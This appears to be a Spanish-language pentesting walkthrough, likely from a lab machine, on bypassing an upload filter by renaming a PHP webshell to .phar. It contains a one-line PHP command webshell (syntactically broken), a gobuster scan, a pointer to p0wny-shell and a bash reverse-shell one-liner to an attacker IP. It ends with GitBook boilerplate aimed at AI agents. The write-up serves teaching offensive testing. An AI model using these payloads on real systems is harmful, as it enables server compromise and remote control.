> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web-vulnerabilities/file-upload-attack/file-upload-.phar-extension-pentesting-web.md).

# Subida de archivos con extensión .phar

<figure><img src="/files/75c6303ce6f2ce65e5458e99c1da698556d35849" alt=""><figcaption></figcaption></figure>

#### Explotación inicial:

Intento de explotar una vulnerabilidad de carga de archivos insertando un archivo PHP malicioso

```php
<?php
system($_GET['cmd'];
?>

```

El servidor rechaza automáticamente las solicitudes de carga de archivos con algunas extensiones.

<figure><img src="/files/c8ff98142cb8808a66efa575f7d41a3acb8ec393" alt=""><figcaption></figcaption></figure>

**Interceptar con Burp Suite:** Uso de Burp Suite para interceptar y analizar el tráfico para comprender los errores de explotación

<figure><img src="/files/efef1f6da8a3b76ad066d92d851e5eec86bf22d1" alt=""><figcaption></figcaption></figure>

#### Modificación de la extensión PHP:

Modificar la extensión del archivo de `.php` a `.phar` en la variable `filename`, y asegúrese de que la ubicación sea aceptada con éxito

<figure><img src="/files/1a0d64252ef395a0b7400dd3f41b7e0ca84ff5f1" alt=""><figcaption></figcaption></figure>

**Enumeración de directorios:** Uso de Gobuster para identificar los directorios de un servidor web y localizar el almacenamiento de imágenes médicas cargadas.

```bash
gobuster dir -u http://10.10.11.241:8080/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 20

```

<figure><img src="/files/439935545ae35347e330cd7a0c6034a2dff096a7" alt=""><figcaption></figcaption></figure>

#### archivo no interpretado:

El contenido de un archivo .phar no se interpreta.

<figure><img src="/files/3b1c6d8eebe439f91f0f3ffc417678b0d497cc2b" alt=""><figcaption></figcaption></figure>

**Uso de una herramienta de GitHub para crear una shell:** Uso de una herramienta proveniente de un proyecto de GitHub para eludir las restricciones de carga de archivos PHP y obtener acceso a una shell

{% embed url="<https://github.com/flozz/p0wny-shell>" %}

<figure><img src="/files/9d366c5ecbd3cd8add5c39d92ee1a7e5c008b8d7" alt=""><figcaption></figcaption></figure>

**Lanzamiento de una shell inversa:**

```bash
/usr/bin/bash -c 'bash -i >& /dev/tcp/10.10.15.18/444 0>&1'

```

Ejecución de comandos de una shell inversa para establecer acceso interactivo a la máquina objetivo y obtener control total.

<figure><img src="/files/8f2b1cbfa6f7275c212dbf831bb74a6c28bccf1f" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/web-vulnerabilities/file-upload-attack/file-upload-.phar-extension-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
